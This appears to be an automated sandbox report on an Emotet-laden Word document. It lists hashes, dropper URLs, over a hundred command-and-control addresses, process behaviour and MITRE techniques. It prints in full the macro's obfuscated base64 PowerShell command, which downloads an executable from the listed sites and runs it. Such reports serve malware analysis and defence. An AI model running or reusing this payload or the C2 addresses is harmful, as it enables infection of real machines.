emotet | 3c27cb7516d0e4e83e0ecb6909b6e7a3db6cf1970f320f3cf3399b6e2d409b3a

Analysis

max time kernel
140s
max time network
150s
platform
windows10_x64
resource
win10v200722
submitted
25/09/2020, 10:18

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General

Target
emotet_e1_3c27cb7516d0e4e83e0ecb6909b6e7a3db6cf1970f320f3cf3399b6e2d409b3a_2020-09-25__101405696521._doc.doc
Size 202KB
Sample200925-5ddx1sa6ma
SHA256 3c27cb7516d0e4e83e0ecb6909b6e7a3db6cf1970f320f3cf3399b6e2d409b3a
MD5 3f9412c5fb1ba2341cf4d05c66ee2543
SHA1 27abfd0201be3d9e2365214beb41b35a70a35307
SHA512 8ebc02e7c73ba26e63459457c8245558972598ca961ac9652ac5b09d3b89d4ef09c57e4e98db4902d9d4190ef8ac5f824dd6832856abe4785e6cc2bbcfb8d5e8
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://bavhome.com/wp-content/td/
exe.dropper
http://hercinovic.com/cgi-bin/mZt/
exe.dropper
https://jeffdahlke.com/css/3u/
exe.dropper
http://calledtochange.org/CalledtoChange/V/
exe.dropper
http://daoisthealing.com/cgi-bin/c/
exe.dropper
https://scyzm.net/wp-content/j/
exe.dropper
http://www.bismarjeparamebel.com/u/pCp/

Extracted

Family

emotet

12.163.208.58:80
45.33.35.74:8080
87.106.253.248:8080
192.241.146.84:8080
190.115.18.139:8080
65.36.62.20:80
170.81.48.2:80
83.169.21.32:7080
185.232.182.218:80
190.2.31.172:80
77.106.157.34:8080
82.230.1.24:80
202.4.58.197:80
201.213.177.139:80
78.249.119.122:80
123.51.47.18:80
77.90.136.129:8080
60.93.23.51:80
152.169.22.67:80
190.117.79.209:80
60.108.144.104:443
213.197.182.158:8080
82.76.111.249:443
209.236.123.42:8080
190.24.243.186:80
177.74.228.34:80
191.182.6.118:80
96.245.123.149:80
61.197.92.216:80
1.226.84.243:8080
111.67.12.221:8080
216.47.196.104:80
185.94.252.27:443
70.116.143.84:80
187.162.248.237:80
217.13.106.14:8080
80.11.164.185:80
35.143.99.174:80
190.190.148.27:8080
219.92.13.25:80
70.32.115.157:8080
96.227.52.8:443
51.75.33.127:80
95.9.180.128:80
174.113.69.136:80
119.106.216.84:80
111.67.77.202:8080
91.105.94.200:80
178.250.54.208:8080
98.13.75.196:80
2.36.95.106:80
186.70.127.199:8090
116.202.23.3:8080
202.134.4.210:7080
50.28.51.143:8080
45.33.77.42:8080
67.247.242.247:80
137.74.106.111:7080
85.214.26.7:8080
181.30.61.163:443
77.238.212.227:80
185.215.227.107:443
186.103.141.250:443
50.121.220.50:80
74.136.144.133:80
104.131.41.185:8080
61.92.159.208:8080
104.131.103.37:8080
51.15.7.189:80
185.94.252.12:80
94.176.234.118:443
212.71.237.140:8080
5.196.35.138:7080
45.46.37.97:80
70.32.84.74:8080
199.203.62.165:80
38.88.126.202:8080
51.159.23.217:443
155.186.0.121:80
51.38.124.206:80
181.129.96.162:8080
64.201.88.132:80
92.24.50.153:80
189.2.177.210:443
45.16.226.117:443
76.168.54.203:80
185.178.10.77:80
220.109.145.69:80
192.81.38.31:80
68.183.170.114:8080
177.73.0.98:443
138.97.60.141:7080
192.241.143.52:8080
217.199.160.224:7080
185.183.16.47:80
177.129.17.170:443
5.189.178.202:8080
74.58.215.226:80
51.255.165.160:8080
12.162.84.2:8080
149.202.72.142:7080
87.106.46.107:8080
188.135.15.49:80
68.183.190.199:8080
172.104.169.32:8080
68.69.155.181:80
72.47.248.48:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3120	1784	POwersheLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2064-15-0x00000000005E0000-0x00000000005F2000-memory.dmp	emotet
behavioral2/memory/2064-15-0x00000000005E0000-0x00000000005F2000-memory.dmp	emotet
behavioral2/memory/2064-16-0x0000000000600000-0x0000000000610000-memory.dmp	emotet
behavioral2/memory/2064-16-0x0000000000600000-0x0000000000610000-memory.dmp	emotet
behavioral2/memory/2140-19-0x0000000000640000-0x0000000000652000-memory.dmp	emotet
behavioral2/memory/2140-19-0x0000000000640000-0x0000000000652000-memory.dmp	emotet
behavioral2/memory/2140-20-0x00000000004D0000-0x00000000004E0000-memory.dmp	emotet
behavioral2/memory/2140-20-0x00000000004D0000-0x00000000004E0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
20	3120	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2064	Yyxno3.exe
2140	deviceassociation.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\rdvvmtransport\deviceassociation.exe	Yyxno3.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3120	POwersheLL.exe
3120	POwersheLL.exe
3120	POwersheLL.exe
2140	deviceassociation.exe
2140	deviceassociation.exe
2140	deviceassociation.exe
2140	deviceassociation.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3120	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
2064	Yyxno3.exe
2140	deviceassociation.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3120 wrote to memory of 2064	3120	POwersheLL.exe	79
PID 3120 wrote to memory of 2064	3120	POwersheLL.exe	79
PID 3120 wrote to memory of 2064	3120	POwersheLL.exe	79
PID 2064 wrote to memory of 2140	2064	Yyxno3.exe	80
PID 2064 wrote to memory of 2140	2064	Yyxno3.exe	80
PID 2064 wrote to memory of 2140	2064	Yyxno3.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_3c27cb7516d0e4e83e0ecb6909b6e7a3db6cf1970f320f3cf3399b6e2d409b3a_2020-09-25__101405696521._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3488

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABCADYAdAAwAGcAZwBnAD0AKAAoACcAUABhACcAKwAnAHcAcABnACcAKwAnAHYAJwApACsAJwBhACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAdQBTAGUAcgBwAFIAbwBGAGkATABlAFwAeABfAHgANQBWAFoAcgBcAEYAOABCAFkAZQBhAE8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAGMAYABVAGAAUgBpAHQAeQBgAHAAcgBvAHQATwBjAG8AbAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAnACsAJwAsACcAKQArACgAJwAgACcAKwAnAHQAbAAnACkAKwAoACcAcwAxADEALAAgACcAKwAnAHQAJwApACsAJwBsAHMAJwApADsAJABIAHUAcgBwAGgAdwBpACAAPQAgACgAKAAnAFkAeQAnACsAJwB4ACcAKQArACcAbgBvACcAKwAnADMAJwApADsAJABMAGIAagB5ADAAZAAxAD0AKAAoACcARwBnAHgAJwArACcAbgAnACkAKwAoACcAbQBkACcAKwAnAGoAJwApACkAOwAkAEQAcwA2ADcANgBlAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AWABfAHgAJwArACcANQB2AHoAcgB7ADAAfQBGACcAKwAnADgAYgB5AGUAYQBvAHsAMAB9ACcAKQAgACAALQBGAFsAYwBoAEEAUgBdADkAMgApACsAJABIAHUAcgBwAGgAdwBpACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAUwA1ADMAaQB1AGMAYwA9ACgAJwBQACcAKwAnADcANgAnACsAKAAnADEAJwArACcAcQBuAGIAJwApACkAOwAkAFYAeQBlAHkAcgBiAGMAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAGIAYwBsAEkAZQBOAFQAOwAkAFoAXwBoADcAXwB4AGEAPQAoACgAJwBoACcAKwAnAHQAdABwADoALwAvACcAKwAnAGIAJwArACcAYQB2AGgAJwApACsAKAAnAG8AJwArACcAbQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAbgB0AC8AJwArACcAdAAnACkAKwAnAGQAJwArACcALwAqACcAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBoAGUAJwArACcAcgBjAGkAbgBvAHYAJwArACcAaQBjACcAKwAnAC4AJwArACcAYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AYwBnACcAKwAnAGkALQBiACcAKwAnAGkAbgAvACcAKQArACcAbQAnACsAKAAnAFoAdAAnACsAJwAvACoAaAAnACsAJwB0AHQAJwArACcAcABzADoALwAnACkAKwAnAC8AagAnACsAKAAnAGUAJwArACcAZgBmACcAKQArACcAZAAnACsAKAAnAGEAJwArACcAaABsACcAKQArACgAJwBrAGUAJwArACcALgAnACkAKwAnAGMAbwAnACsAKAAnAG0ALwBjAHMAJwArACcAcwAnACkAKwAnAC8AMwAnACsAKAAnAHUALwAnACsAJwAqAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoALwAvACcAKQArACgAJwBjAGEAJwArACcAbAAnACkAKwAoACcAbAAnACsAJwBlAGQAJwApACsAKAAnAHQAbwAnACsAJwBjAGgAYQBuACcAKwAnAGcAZQAuAG8AJwApACsAJwByACcAKwAnAGcAJwArACgAJwAvAEMAYQAnACsAJwBsACcAKQArACcAbABlACcAKwAoACcAZAB0ACcAKwAnAG8AQwBoAGEAJwApACsAKAAnAG4AZwAnACsAJwBlAC8AJwApACsAJwBWAC8AJwArACcAKgAnACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwArACcAOgAvAC8AJwApACsAJwBkAGEAJwArACgAJwBvAGkAcwB0ACcAKwAnAGgAZQBhACcAKQArACgAJwBsACcAKwAnAGkAbgBnAC4AYwBvAG0ALwAnACkAKwAnAGMAZwAnACsAKAAnAGkALQBiAGkAbgAnACsAJwAvAGMALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AJwApACsAKAAnAHMAJwArACcAYwB5ACcAKQArACgAJwB6ACcAKwAnAG0ALgBuAGUAdAAnACsAJwAvACcAKQArACcAdwAnACsAJwBwACcAKwAnAC0AJwArACcAYwBvACcAKwAoACcAbgAnACsAJwB0AGUAJwArACcAbgB0AC8AagAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAOgAnACsAJwAvACcAKQArACgAJwAvAHcAJwArACcAdwAnACkAKwAoACcAdwAuACcAKwAnAGIAaQBzAG0AJwApACsAJwBhAHIAJwArACgAJwBqAGUAcABhAHIAYQAnACsAJwBtACcAKwAnAGUAJwArACcAYgBlAGwALgAnACsAJwBjAG8AbQAvAHUAJwApACsAKAAnAC8AJwArACcAcABDAHAAJwApACsAJwAvACcAKQAuACIAUwBgAHAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGcAZAA5ADgAdABpAD0AKAAoACcAVwAwACcAKwAnAG4AagAnACkAKwAoACcAdABoACcAKwAnAHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABVAGcAZgB1AG4AYQB3ACAAaQBuACAAJABaAF8AaAA3AF8AeABhACkAewB0AHIAeQB7ACQAVgB5AGUAeQByAGIAYwAuACIARABvAGAAVwBgAE4ATABPAEEAZABmAGkAYABMAEUAIgAoACQAVQBnAGYAdQBuAGEAdwAsACAAJABEAHMANgA3ADYAZQBvACkAOwAkAFIAbQA5AHUAdwB0AGUAPQAoACcAWgAnACsAJwA2ACcAKwAoACcAYwBjACcAKwAnAGkAYQB3ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEQAcwA2ADcANgBlAG8AKQAuACIATABgAGUATgBnAHQASAAiACAALQBnAGUAIAAzADcAOQA5ADEAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAoACQARABzADYANwA2AGUAbwApADsAJABFAGQAZwBfAG0AbwBoAD0AKAAnAEEAJwArACcAbgAnACsAKAAnAHcAMQAnACsAJwA0ADcAbwAnACkAKQA7AGIAcgBlAGEAawA7ACQAVABiAGUAcAByADUAMgA9ACgAKAAnAFMAJwArACcAMABjACcAKQArACgAJwBxAGYAdAAnACsAJwA3ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAGUAbQBlAHMAZABuAD0AKAAoACcAVAAwAHcAZgAnACsAJwBzACcAKQArACcAeQBnACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3120
- C:\Users\Admin\X_x5vzr\F8byeao\Yyxno3.exe
  "C:\Users\Admin\X_x5vzr\F8byeao\Yyxno3.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2064
- - C:\Windows\SysWOW64\rdvvmtransport\deviceassociation.exe
    "C:\Windows\SysWOW64\rdvvmtransport\deviceassociation.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2140

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2064-16-0x0000000000600000-0x0000000000610000-memory.dmp

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memory/2064-15-0x00000000005E0000-0x00000000005F2000-memory.dmp

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memory/2140-19-0x0000000000640000-0x0000000000652000-memory.dmp

Download

memory/2140-20-0x00000000004D0000-0x00000000004E0000-memory.dmp

Download

memory/3120-11-0x0000011E2A340000-0x0000011E2A341000-memory.dmp

Download

memory/3120-10-0x0000011E2A190000-0x0000011E2A191000-memory.dmp

Download

memory/3120-9-0x00007FFCC77C0000-0x00007FFCC81AC000-memory.dmp

Download

memory/3488-0-0x00007FFCCEBC0000-0x00007FFCCF286000-memory.dmp

Download

memory/3488-4-0x000001CB56906000-0x000001CB5690B000-memory.dmp

Download